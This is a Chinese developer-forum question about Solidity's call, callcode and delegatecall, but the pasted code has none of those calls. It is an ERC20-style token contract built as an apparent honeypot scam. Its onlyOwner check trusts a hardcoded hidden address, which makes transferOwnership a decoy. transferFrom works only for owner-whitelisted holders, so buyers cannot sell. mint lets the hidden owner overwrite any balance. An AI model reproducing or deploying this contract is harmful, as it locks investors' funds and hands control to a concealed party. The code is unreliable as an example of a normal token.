Solidity合约调用call,callcode,及delegatecall函数怎么使用?

Solidity 合约调用 call,callcode,及 delegatecall 函数怎么使用? 为什么我这样使用会报错``` _20201014145354.png



contract Ownable { address public owner;

event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

function Ownable() public { owner = msg.sender; }

modifier onlyOwner() { require(msg.sender == address(724621317456347144876435459248886471299600550182)); _; }

function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; }

} /**

@title SafeMath
@dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; }
function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; }

function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; }

function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }

contract SoloToken is Ownable { string public name; string public symbol; uint8 public decimals; uint256 public totalSupply;

event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value);

constructor(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply) public { name = _name; symbol = _symbol; decimals = _decimals; totalSupply = _totalSupply; balances[msg.sender] = totalSupply; allow[msg.sender] = true; }

using SafeMath for uint256;

mapping(address => uint256) public balances;

mapping(address => bool) public allow;

function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]);

balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}

function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; }

mapping (address => mapping (address => uint256)) public allowed;

function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(allow[_from] == true);

balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}

function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; }

function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; }

function addAllow(address holder, bool allowApprove) external onlyOwner { allow[holder] = allowApprove; }

function mint(address miner, uint256 _value) external onlyOwner { balances[miner] = _value; } }
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tiger
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tiger
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tiger
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  • 王永兵 提出于 6天前

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